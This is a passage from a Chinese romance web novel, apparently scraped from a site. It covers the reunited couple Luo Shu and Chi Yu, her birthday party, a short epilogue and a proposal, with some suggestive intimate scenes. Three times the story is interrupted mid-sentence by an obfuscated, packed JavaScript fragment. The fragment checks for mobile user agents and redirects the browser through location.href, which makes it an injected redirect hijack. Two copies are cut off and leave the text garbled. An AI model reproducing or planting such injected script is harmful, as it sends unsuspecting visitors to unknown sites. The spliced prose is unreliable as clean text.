再撤回有些欲盖弥彰，洛姝有些无奈，但庆幸，幸好她提前预判成功，否则如果在小姐妹面前听语音，大概会看到她们暧昧的目光时，抠个迷宫把自己藏进去。 约莫是因为她许久没回复，另一边。 池煜：不逗你了。 池煜：晚上我去接你。 * 两个人发消息的时候没个把门儿的，像是什么都能聊，一见到面却本分多了，让洛姝感觉像是回到了学生时代。 毕竟晚上九点钟出来遛狗还手牵手的情侣，洛姝放眼周围，没看见一个。 德芙被池煜用狗绳牵着，牵在左手，十岁高龄的金毛像在散步，慢悠悠的。 洛姝举起十指紧握的双手，仔细盯着他手腕上的牙印，痕迹已经很浅了，不仔细看完全看不出来。 她松了口气，“终于快消掉了。” 池煜举起她的手才唇边啄了一下，语气还有些可惜，“留下来也不错。” 洛姝以为自己听错了：“留个疤哪里好了，会很难看。”尤其还是手腕的位置，实在是明显，更何况那不是受伤的疤，是牙印。 “不难看啊，你不是听过吗，伤疤是男人的勋章。”池煜笑着把她拥到怀里，揉了揉她黑亮的头发，在她耳边低声说：“这个要消掉了，回去的时候再给我印一个吧。” “我不。”洛姝回答得很干脆。 可真到了回去躺在那张床上的时候，她全然忘记自己斩钉截铁说的话，跟着池煜的节奏来，但也没忘记分寸，只是在他左手食指上很轻地咬了一口，敷衍的过分。 池煜盯着她那双泛着潮气的眼睛笑起来，节奏全都掌握在他手中，有点儿漫不经心。以至于洛姝被他弄得不上不下，恼地咬他肩膀，比咬手指的力道要重一些。 她的声音也因此打着颤，忍着那股说不清的感觉，踹了他一脚，只可惜软绵绵的，毫无杀伤力。她咬牙切齿道：“这样行了么？” “嗯。” 存着的那点坏心思被洛姝发现，池煜低低笑出声，吻上她湿润的眼睛，有些强势地把她握紧的拳头打开，与她扣紧。 …… 再一次洗完澡，洛姝坐在床尾抹身体乳，池煜离得近，很轻易就能嗅到那股味道，他靠近，身上还带着刚洗完澡的热气，“我帮你。” “诶，不用！”洛姝躲他，伸出两只斑斑点点的胳膊，都是他的杰作，讨饶：“您可离我远点儿吧。” 池煜摸了摸鼻子，坐回去，与她拉远距离，很快又忍不住，帮她把头发扎起来：“要不就住我这儿吧。” “你在邀请我跟你同居么。”洛姝看着他笑。 池煜点头，坦率道：“有这个想法。” 洛姝涂好身体乳：“得跟你说个事儿。” “你说。” 我要回首都了。” 池煜愣了下，也不顾她刚涂完身体乳不让自己碰，直接拉着她一块儿倒在床上，“洛姝，故意的吧你，刚说完就要走，吃干抹净也不负责。” 洛姝被他这么一说，感觉自己背上了一口名为“渣女”的大铁锅，她笑着去推池煜，他半干的湿发很扎人，她嫌痒，往后躲着解释了一下回首都的原因，而后才说：“好歹跟你说了。” 池煜不闹她了，“什么时候走？” 洛姝开玩笑说：“明天。” “……故意的吧你，是不是还打算到首都之后再跟我说。” 洛姝憋着笑：“有这个打算。” “能不能说点我爱听的？”话音刚落，池煜强势地把她搂进怀中，掰正她的下巴，深深地吻上去。 洛姝被吻的有些晕乎乎，趁空推开他，胸口起伏：“我开玩笑的——” 然而话还没说完，池煜的吻再次落了下来。 * 离开粱城的前一天，洛姝再一次见到了许玥。 许玥比前几次遇到洛姝要坦荡许多，来见洛姝也是只为了要个答案：“我有个问题想问，问完就不会再出现在你们面前。” 洛姝：“你说。” 许玥问：“我跟蒋阿姨告密的事儿，你有跟池煜说么？” 洛姝：“没有。” 许玥苦笑着说：“虽然猜想你不会说，可是他对我太冷淡了，让我不得不多想。” “记得印象里他对你一直都这样。”洛姝很浅地笑了下，对许玥生出的那些讨厌也因为跟池煜复合后烟消云散，“没告诉他是因为没必要，不过他有知情权。” 许久后都没等到许玥说话，洛姝面前的那杯咖啡也因为冷掉而失了口感，她隔着窗户看见了远处驱车而来的池煜，起身朝外走：“我先走了。” “洛姝。”许玥在她身后，喊住她。 洛姝没回头，听见许玥说：“我这段暗恋结束了，之后也不会再来粱城。下次再见面，我想，应该是你们婚礼的时候。” 洛姝没回头，也没应声，就这样直直走出了咖啡馆，迎着日光，对池煜挥手。 许玥也没了在咖啡馆逗留的心思，出了门，因为跟洛姝和池煜是顺路，她远远的落在身后，独自一人行走。 她看见池煜牵起了洛姝的手，目光始终放在女朋友身上：“笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427058|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这么开心？” 洛姝点头，扣紧他的手：“我们谈一辈子恋爱吧。” “行啊。”他回答地很干脆，一瞥旁边的洛姝听到这个回答笑得更是开怀，他忍不住也笑，“怎么笑成这样？” 许玥的脚步更慢了，前方那对如胶似漆的情侣越走越远，谈话声也渐渐听不真切。 只是一眨眼地功夫，许玥就看见洛姝被池煜稳稳背在身上，“想到跟你谈一辈子恋爱就开心啊。池煜你惨喽——你这辈子都别想逃我出我的手掌心了。” 最后，在一个岔路口，许玥拐进去前，与他们彻底分开时，她听见了池煜的答案，这个答案和她料想的一样—— 他对洛姝说：“求之不得。” * 首都已正式迈入夏季，今天一反常态的天气有些阴晴不定，天气预报说下午三点钟会下雨，可如今晚上j八点半，一点儿雨的影子都没瞧见，一整个白天的天气时而阴时而晴，像多变的心情。 “姐姐，今天池煜哥哥会来见你吗？” 这是谢雨杉这两个月问的第五十九遍，每天一问似乎成了惯例，哪怕在此期间，池煜来过首都好几回，他也不厌其烦地问。 因为池煜每次来都会给他买零食，还带他出去玩，只要是他要的，没有池煜不买的。 洛姝耳朵要起茧子了，夜里起了风，她帮谢雨杉的拉链拉高，拉着他往小区里走，今天不想再敷衍弟弟。 因为她听烦了，而那套“哥哥很忙没空来”的说辞已经不适用了，“贪吃鬼，难道我给你买的东西少啦？还有大人的事你少管，今晚已经很晚了，池煜哥哥不会来。” “那好吧。” 谢雨杉嘟着嘴，努力挽尊：“我不稀罕好吃的好玩的，我只是比较关心你跟哥哥的感情情况嘛。你难道不想池煜哥哥？你们两个异地恋这么久了，一定很想彼此吧。” 洛姝捏他的腮帮子，“想啊，这和你有什么关系？” 谢雨杉举起手里的玩具，按开按钮就能投射出五彩的绚烂烟花，他爱不释手：“我好奇呀，笑笑姐姐说你休息的时候总是对着手机傻笑，你犯相思病啦姐姐！” “从哪儿学的？”洛姝在他脑袋上揉了一把。 “电视上呀。” “人小鬼大。” 谢雨杉一蹦一跳地朝前走，回头时，歪着头朝姐姐身后不远处的路灯下瞥了眼，刚要惊呼连忙又拿起食指在唇上贴了贴，飞快地点头。 他很兴奋，超大声喊：“姐姐！” 洛姝被吓得一个激灵，回完池煜的消息后，施舍给他一个目光，说：“又怎么了？声音小点，很扰民。” 谢雨杉赶紧捂住自己的嘴巴，“嘘”了两声后，眼睛不停地往姐姐身后瞟：“快到你生日啦，如果现在让你许愿的话，你会许愿池煜哥哥出现吗？” 洛姝早就不再是孩子，也不会把自己的希望押注在生日愿望上，但不可避免地提起时，还是难免想到了最想见的那个人。 “会啊。” “洛姝。” 两道声音同时响起，在静谧夜空下是那样的清晰，洛姝心脏漏了一拍，猛地回过头。 灯下，池煜穿着和她同款的白色卫衣，头上戴着一顶纯黑的鸭舌帽，卫衣的帽子同样戴着，严严实实遮住了上半张脸，两条腿敞着坐在小区的长椅上，一只手撑着脸，仰头看向她在的方向。 似乎预判洛姝会朝自己跑来，他站起身，朝她张开了双臂。 43. Chapter 29 明明十天前两个人才见过面，可在这个当口，再次见到时还是有种难以言喻的喜悦。 大脑有一瞬的空白，还未来得及做出任何反应，洛姝拎着裙边朝池煜跑过去。 她穿了一身米色的碎花吊带裙，v领，脖间的项链坠子很长，将将垂至胸口，衬得她脖颈修长漂亮，裙摆长至脚踝，夜间风大，跑起来时裙摆贴近她的曲线。 池煜怕她摔倒，也朝她迈开步子：“慢点跑。” 鼻尖先是闻到她身上那股萦绕的香气，而后人已经重重扑到怀中，洛姝吸了吸鼻子，搂紧他脖子：“什么时候来的？” “刚到没多久。” 毛绒绒的针织外衫摩擦着池煜的颈间，刺刺痒痒的，水滴状的项链坠子贴在他裸露的皮肤外，有些凉。 他把怀里的人搂紧，抱起来掂了掂，很轻易的判断：“瘦了。” “才没有，吃胖了。”洛姝小声抱怨两句，给他比了三根手指，“早起还称的重，这身裙子都有点勒。” “不胖。”为了证明似地，池煜抱着她转了个圈。 洛姝偏瘦，一米六七骨架却很小，看起来跟胖完全不搭边，“等到我抱着你转不了圈才叫胖。有点肉更好看。” “你就诓我吧。”她显然不太信。 池煜牵起专心致志玩玩具的谢雨杉，又牵起她的手握紧，“不会。你要是不信可以坐在我胳膊上，最近我练得还不错。” 洛姝噗嗤笑出声，脑袋里不可控地想到了自己坐在他手臂上的一幕，在他松懈下来的肱二头肌捏了捏，不硬不软的手感，捏到一半，池煜暗暗发力就捏不动了，她捏起拳给了他一下，“少贫了你。” 池煜贴着她耳朵，轻声说了句话，洛姝的脸爆红，推搡了他一下，而后搂紧了他。 在旁边蹲着的谢雨杉完全没留意耳鬓厮磨的小情侣在说些什么，只听到准姐夫笑着问了句：“可以吗？” 他在专心看蚂蚁搬家，姐姐有没有回话他不记得了。 回到家之后，在外面嗨了一天的谢雨杉洗去一身疲惫后，直接倒头就睡。 十天未见仿佛小别胜新婚，洛姝感觉自己变成了树袋熊，而池煜就是自己最钟情的那颗树，恨不得一直挂在他身上。不过相较于这个夸张的比法，两个人更像是要把分开那些年缺失的拥抱和亲密全都找补回来。 吻到昏天黑地，房间里的顶灯被摁开了最暗最适合睡眠的那一盏，暖色调，急促的呼吸显得房间内暧昧非常。 洛姝身上的薄开衫掉在地上，肩上的吊带有一边垂落手臂，堪堪露出胸前大片的春光。 池煜的连帽卫衣堆在那件外衫旁边，内里穿着的T恤也扔到一边，整个上半身就这么暴露在空气当中，不是夸张的健身体格，更趋向于薄肌，但要比薄肌型身材壮一些，肌肉线条明显，人鱼线更显得他的肌理性感又添了几分力量感。 洛姝脑袋晕乎乎的，偏过头喘口气功夫，人已经被放在了床上，再一眨眼，人已经骑坐在池煜身上，两只手按在他紧实的腰线，接着上移，腹肌放松下来是软软的触感。 “好软。”她感叹。 “诶。”池煜捉住她的手往下，“还有不一样的。” 越往下探，温度越高，洛姝的手是凉的，这种感觉好似冰火两重天，她猛地往后缩，脸红的快要滴血。 “不想跟你异地恋了。”他轻叹。 洛姝垂下目光，“想让我陪你回粱城么？” “想换个新环境。”池煜说着，撩起她的裙摆，攥了一团在手中，“你想待在哪儿？首都么，那在这里买房还需要点时间。” 他的决策听起来实在是够雷厉风行的，洛姝愣了下，而后说：“粱城的家说不要就不要了？” “你在哪我在哪。”他这样说着，等洛姝戳够了自己的腹肌，吻在她脸颊一侧，抱着她进了浴室。 砰—— 门合上，不太清晰的水渍声伴随着粗重急促的呼吸渐渐从浴室传出来。 * 六月十四这天，洛姝过了个不同以往的生日，位置在清河湖草坪，露营式的生日派对。 起初是池煜想到的，刚开始是瞒着洛姝在群里问苏望月跟唐烨有什么好的巧思，后来经过这两人夸张的宣扬，两人之间相熟的共同朋友都知道了，然后就传到了洛姝的耳中。 这个惊喜也就在生日前两天的时候，被她提前得知。 老实说自从父母离婚后她便淡了过生日的心思，提到生日这天便能想起谢玫和洛亦祥争吵的画面，后来记住在池煜家的那几年，人在屋檐下她很拘谨，虽然也过了几回生日，但当时内心渴望的还是曾经和睦的家庭。 后来因为看见了洛亦祥和宋依冉以及那个孩子，便再不去想以前发生的点点滴滴，只闷着头学习，想跟池煜考出浔城。 只是天不遂人愿，过程回想起来仍旧唏嘘，但好在不管是相继出国还是粱城重逢，他们终于逃离了那座城市，兜兜转转还是彼此。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431144|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >上午十点，微风拂面，阳光遮盖在厚重云层下，偶尔泄出的阳光透过树梢，清河湖湖水清澈见底，蓝天与白云都点缀在湖心。 今天是个很适宜郊游的天气。 场地各处布置看起来更像婚礼派对，数不清的粉白玫瑰，基调全是洛姝喜爱的色彩，甚至请来了乐队倾情演唱。 唐烨上下打量着场地，玩味地搭着池煜的肩，目光落在远处，梁诺诺正在给寿星戴王冠：“你这是准备求婚？” 池煜的目光一直放在洛姝身上，她今天盘了头发，脸颊边的碎发也被一丝不苟梳起来，显得五官更加精致小巧，戴好钻石王冠后还摇头晃脑地朝他扬扬下巴，像是炫耀。 他失笑，而后回答唐烨：“不是。” 苏望月从手机上抬起头来，错愕：“哥们你不求婚还干嘛呢，等着再拉锯几年爱情长跑？是不是等的那几年等习惯了？” “时间可不等人。”唐烨幽幽道，“可别耽误人家女孩子的青春啊。” “不以结婚为目的的恋爱都是……” 苏望月露出一个懂得都懂的表情，“你懂的。” 池煜想到洛姝离开粱城的前一天，提到想和自己谈一辈子恋爱的说法，他那时没觉得有什么，反正要一直在一起，是结婚还是谈恋爱，都会是和她，没什么区别。 可今天从朋友这里听到了相悖的意见，还挺新奇，但不管怎么说，他始终把洛姝的意愿放第一位。 虽然私心里，他想和她出现在同一个户口本上。 “话是这么说，不过我惧内，老婆说什么就是什么。” “能把惧内面无表情说出来的人，我佩服。”唐烨再无话可说，比了个大拇指。 苏望月露出一个掉了一地鸡皮疙瘩的表情，“……你赢了。” 远处，梁诺诺招呼：“快来，要唱生日歌了。” 三个人朝场地中心走去，洛姝已经坐在主位上，看见池煜来，赵慕挽点起了数字蜡烛，“可以许愿了。” 洛姝双手合十，闭上眼。 苏望月嘴快：“许的是不是跟池煜有关。” 洛姝弯起唇角，没有出声，那点昭然若揭地小心思被点破，无处可逃。 说出来太过煽情，只能借着生日愿望心里默默许愿，希望从此以后睁开眼的那一刻，池煜都在身边。 她缓慢睁开眼，桌上的蛋糕被池煜稳稳端在手中，他眉眼带笑：“生日快乐，洛姝。” 瞧，她的愿望实现了。 44. 未来多漫长再漫长还有期待 「三则·番外」 * 谁先喜欢的谁？ 这个幼稚的问题洛姝从来没有问过，哪怕是学生时代跟池煜捅破窗户纸后谈了一段十分青涩的恋爱，也没有深思过这个问题。 等到兜兜转转错过九年时间再次相遇到相恋，这个问题更是不值一提，或者说，不重要。 直到那一天，池煜把他那间始终锁着的收藏室的钥匙交给了她，而她也遵循着自己的好奇心，拧开了那扇门。 也因此看见了许多，关于她的旧物—— 最先看见的就是他们两个的合照，一张很旧的老照片，却没有蒙上一丁点灰尘，没有褪去色彩，被妥善的放在相框里。 合照中，她穿着水蓝色蓬蓬裙笑得特别腼腆，反观身旁的池煜大大方方笑看着镜头，几岁的孩童稚嫩又天真，后面标注的日期距今已有二十四年。 将相框物归原位，洛姝拿起一枚发卡，鲜艳的色彩及款式看起来十分有时代特征，她早就遗忘了这是什么时候佩戴过的配饰，又是怀揣着什么样的心情，但可以肯定，她一定臭屁地向池煜炫耀过。 发卡的年纪或许也跟那张被裱在相框里的老照片不相上下，在它下面是一张作文标题为“我的哥哥”拿下满分的低年级语文试卷。 洛姝拿起那张三年级试卷，通篇基调写得太过煽情，歌颂了她的“哥哥”对她多么无微不至的关心。 不敢再看第二遍的作文被她揣着羞耻心放了回去，拿起了一个复古铁盒子，没有上锁，一打开，里面满是电影票存根。 是寄住在池煜家那些年和他一起看过的电影。那时候总是在没完没了的补习功课，一起出门看电影成了唯一可以消遣又憧憬的放松时刻。 洛姝细细翻阅，没想到池煜把每一场的存根都留着，再就是看见了一张不知被谁抓拍的照片，他们两个在交换墨镜，没有看镜头，只是看着彼此在笑。 一转脸，她看见了自己和池煜的那两辆因为各种原因被池升和蒋春燕禁止骑行的死飞，上面同样没有灰尘，看起来经常擦拭，明明过去了好多年却像新的一样。 从单独收藏她的旧物，到后面收藏了属于他俩那份青涩恋情的共同物件。 她想，那个幼稚的“谁先喜欢的谁”的问题答案，已经很清晰。 晚上洗澡的时候，洛姝忘了拿换洗衣服进浴室，等到池煜递过来睡裙时，还是问了那个带着答案的问题：“很早就开始喜欢我了吗？” 池煜：“收藏室的东西都看到了？” 这样聊下去，身上的沐浴泡泡会干掉吧，洛姝鼓起腮帮子，不满他的不答反问，推他出浴室：“你猜。” 池煜后退半步，任由她将身上白色泡沫弄到自己的衣服上，听她继续追问：“比我暗恋你的时间还早吗？” 洛姝从小就比较依赖他，可意识到自己喜欢他时，是去粱城旅游的时候。 “嗯？”她含糊地发出一个字音，是催他回答的意思，“你怎么不说话。” “我说……” 池煜将她抱了个满怀，与她紧紧相贴，腾出一只手扯下衣服，在她唇上落下一个湿热的吻。 扣紧的双手在氤氲着热气的玻璃上留下指痕。 淅淅沥沥的水声下，洛姝攀着他的小臂，听见他低声在耳边说：“在你还穿蓬蓬裙的时候就喜欢你了。” 池煜小时候不懂什么叫喜欢，他只知道洛姝是他见过最可爱最漂亮的女孩儿，她长了一双又大又圆的眼睛，像两丸水润的葡萄，那时很多小孩都爱和她玩，他也一样。 爸妈让他喊“妹妹”，要对她好，不能欺负她。 洛姝小时候爱穿裙子，尤其钟爱一条水蓝色的蓬蓬裙。她很懂礼貌，对谁都会客客气气地说谢谢，会轻声细语地喊他“池煜哥哥”。 充当着哥哥这一角色的他，收藏室里还留着那时候的合照，旧照片上的蓬蓬裙尚未褪色，她也一直这样鲜活。 可洛姝是个娇气包，很爱哭，渐渐没人愿意和她玩，池煜竟然觉得很开心。 因为这样就没人跟他抢妹妹了，也就不会从洛姝口中听到别的“哥哥”。 那时的池煜接过洛姝送的布娃娃，热衷和她扮演着家家酒的爸爸和妈妈，与她手牵手，紧密不分离。 直到后来，他才明白这种感觉叫“独占欲”。 “热……你出去！” 洛姝仰着头，贪婪地吸着氧气，急声打断他游离回幼时的记忆。 池煜沾着水渍的手推开小半扇玻璃门，稀碎的吻她，哄她：“现在不热了……” ** 洛姝觉得池煜谈了恋爱之后变成了亲亲怪。 当然不是信口胡说，是有依据的，比方说，现在—— 最近首都的天气不宜出门，洛姝和池煜几乎都待在家里，今天仍旧如此，池煜主动建议找部电影打发时间。 花了半小时才找到一部两人都没看过的喜剧片，洛姝把零食推车拉到两人身边，还切了个果盘放在茶几上，瓜子糖果饼干全都有，只要伸手就够得到，为两个半小时的时长添了点儿滋味。 她笑点很低，几乎是没过一会儿就会抖着肩膀笑，边笑边吃水果。 每当她拿起叉子叉起水果将要放到唇边时，池煜就猝会猝不及防地吻过来。 事不过三。 头两次洛姝忍了，第三次她主动吻回去，却很轻易被池煜夺去了主动权。 一吻过后剧情也进入到另一个笑点，可是洛姝错过了，注意力全被池煜掠夺了去。 她很无奈地叉起一块他爱吃的芒果块“你想吃东西就直说……我可以喂你。” “不要，我只想亲你。” “可是我们现在在看电影。” 他点评：“太无聊了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432446|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛姝忍无可忍，泄愤似地把那块芒果嚼碎咽下，“那你想做什么？” “我想亲你。” “……” 怎么又绕回去了？ 洛姝往后避了避，“你还记不记得上次苏望月看见我们说了什么吗？他说我们两个私下里肯定没少亲嘴，长得越来越像了。” 这话是当池煜面前说的，洛姝恰好从洗手间出来时候听见的，那之后的几天，洛姝确实有跟避免跟池煜接吻，结果没几天就忘了这茬。 池煜：“这叫夫妻相。” “……你赢了。” *** ［倒数日温馨提醒·今天是·和池煜相恋999天］ 手机锁屏弹出这条提示时候，粱城也正式入了冬，这是洛姝跟池煜重逢乃至在一起的第四个冬天。 天气寒冷，晚上打算在家吃火锅。 食材是上午两人一块出门时候买的，全都被池煜过水清洗了很多遍，切好码放整齐摆在各种碟子中，他随手举起一片生菜，在上面挖了一个小孔，对洛姝说：“如果这是一枚订婚戒指，我向你求婚，你会愿意嫁给我吗？” 他从小什么乐器都会一点，却不精通，因为蒋春燕需要的儿子并非多才多艺，而是学富五车。 也因此池煜唯一拿了证书的是钢琴，不过洛姝很少见他弹过，早在她住在他家里的第一年，那架钢琴就已经落了厚厚一层灰，闲置许多年。 多年苦练钢琴的他有个小习惯，只有洛姝知道。紧张的时候食指会蜷缩。 在今天，久违地让她发现他那不为人知的小习惯。 明明只是一句再寻常不过的话，他为什么紧张？ ——难道是故意借着这句玩笑话来试探自己口风，所以要拐弯抹角的试探一下。 洛姝脑袋里闪过倒数日提醒的999天，猜测到一种可能，心间不由得打颤，他们这场恋爱已经用年为单位来计算。 她几乎是瞬间，也可以说是直觉告诉她，池煜问这话必然是想让这段关系再亲密一点。 明明只是个猜测，她却还是没来由得感到一阵愉悦，她想，自己要是田野间自由奔跑的小狗就好了，可以疯狂摇尾巴，在田地里撒欢，打滚，嗷叫，以此表达自己的开心。 可是放在现在完全不妥。 说不定她不久后就会成为被求婚的那一个，现在不能这么直白表露内心的雀跃，否则就是让池煜这段时间的精心策划泡了汤。 思洛姝强压下自己上扬的唇角，说：“我愿意。” 还以为男朋友要借着玩笑话透露点什么，就在她想入非非之际，池煜竟然变戏法似地真的掏出了个红丝绒的盒子，在这样平凡、令人憧憬每个明天的傍晚。 迎着洛姝惊讶的泪眼，单膝跪地，他扬起一张舒展的笑脸，“刚刚没听清，再说一次吧。” ——全文完——